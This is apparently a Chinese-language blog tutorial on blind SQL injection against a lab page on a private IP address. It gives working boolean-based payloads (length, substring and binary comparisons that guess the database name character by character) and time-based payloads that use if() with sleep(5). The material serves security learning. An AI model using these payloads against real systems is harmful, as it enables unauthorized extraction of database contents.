• sql 注入(4), 盲注


    sql 注入, 盲注

    盲注适合在页面没有任何回显时使用.
    测试页面有变化, 但是没有显示任何异常错误等信息.

    情景:
    url: http://192.168.112.200/security/read.php?id=1
    服务器数据库名: learn
    
    • 1
    • 2

    一, boolean盲注

    # 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比如:
    length(n)                 字符串长度
    mid(str, start, n)        从start开始截取n个字符, start从1开始
    substring(str, start, n)  从start开始截取n个字符, start从1开始
    left(str, n)              从左侧开始截取n个字符
    right(str, n)             从右侧开始截取n个字符
    ord()                     字符的ascii码
    ascii()                   字符的ascii码
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    1. 猜测长度
    # 利用比较运算判断数据库名称的长度
    http://.../?id=1 and length( database() ) < 10 # 页面正常
    http://.../?id=1 and length( database() ) < 5  # 页面异常
    http://.../?id=1 and length( database() ) = 5  # 页面正常, 数据库名长度是5.
    
    • 1
    • 2
    • 3
    • 4
    2. 猜测字符

    利用 substring() 等函数, 判断名称中的字母, 范围包括大写或小写字母, 数字, 下划线等.
    可以使用python脚本或者burpsuit来做爆破.

    # 猜测数据库名第一个字母
    http://.../?id=1 and substring( database(), 1, 1 ) = 'a' # 页面异常
    http://.../?id=1 and substring( database(), 1, 1 ) = 'c' # 页面异常
    http://.../?id=1 and substring( database(), 1, 1 ) = 'l' # 页面正常, 数据库名首字母是 l
    # 猜测第二个字母
    http://.../?id=1 and substring( database(), 2, 1 ) = 'e' # 页面正常, 数据库第二个字母是 e
    http://.../?id=1 and substring( database(), 2, 1 ) = 'E' # 页面正常, 到底是大写还是小写 ?
    
    # 这里为了区分大小写, 使用 binary 更准确
    http://.../?id=1 and binary substring( database(), 2, 1 ) = 'e' # 页面正常
    http://.../?id=1 and binary substring( database(), 2, 1 ) = 'E' # 页面异常
    
    # 猜测第三个字母
    ...
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    二, 时间型盲注

    boolean盲注可以通过页面的变化来判断, 如果测试时, 无论使用什么代码, 页面没有任何变化, 就需要尝试时间盲注.
    在真假判断的基础上添加时间判断.

    原理:

    if(表达式, 语句1, 语句2) 函数的规则:
    如果 [表达式] 是真, 则执行 [语句1] , 否则执行 [语句2] .

    使用if函数, 对boolean盲注[表达式]做判断, 将延迟时间设置到[语句1],
    如果boolean盲注[表达式]猜对了, sql会执行[语句1] 进入延迟, 否则sql会立刻执行[语句2].
    所以通过注入后页面的延迟时间可以判断出boolean盲注的猜测是否成功.

    案例:
    # 猜测数据库的名称长度
    http://.../?id=1 and if( length(database())<10, sleep(5), 1) # 页面有明显延迟, 说明猜对
    http://.../?id=1 and if( length(database())<5, sleep(5), 1)  # 页面响应不到5秒, 说明猜错
    http://.../?id=1 and if( length(database())=5, sleep(5), 1)  # 页面有明显延迟, 说明猜对, 那么长度是5
    
    • 1
    • 2
    • 3
    • 4
  • 相关阅读:
    机器学习_10、集成学习-AdaBoost
    疫情使我被迫在家朋友选择躺平,我选择了学习软件测试
    《猎杀:对决》是适合什么样的人玩 Mac电脑怎么玩《猎杀:对决》
    白盒 SDK 加密 —— Go 语言中直调 C 动态库实现
    Chapter8.1:非线性控制系统分析
    【科研工具】-论文相关
    docker笔记7:Docker微服务实战
    新知实验室 腾讯云实时音视频 RTC WEB端初识
    爬虫技术抓取网站数据
    【云原生 | Kubernetes 系列】--Ceph Dashboard和Ceph 监控
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/133796926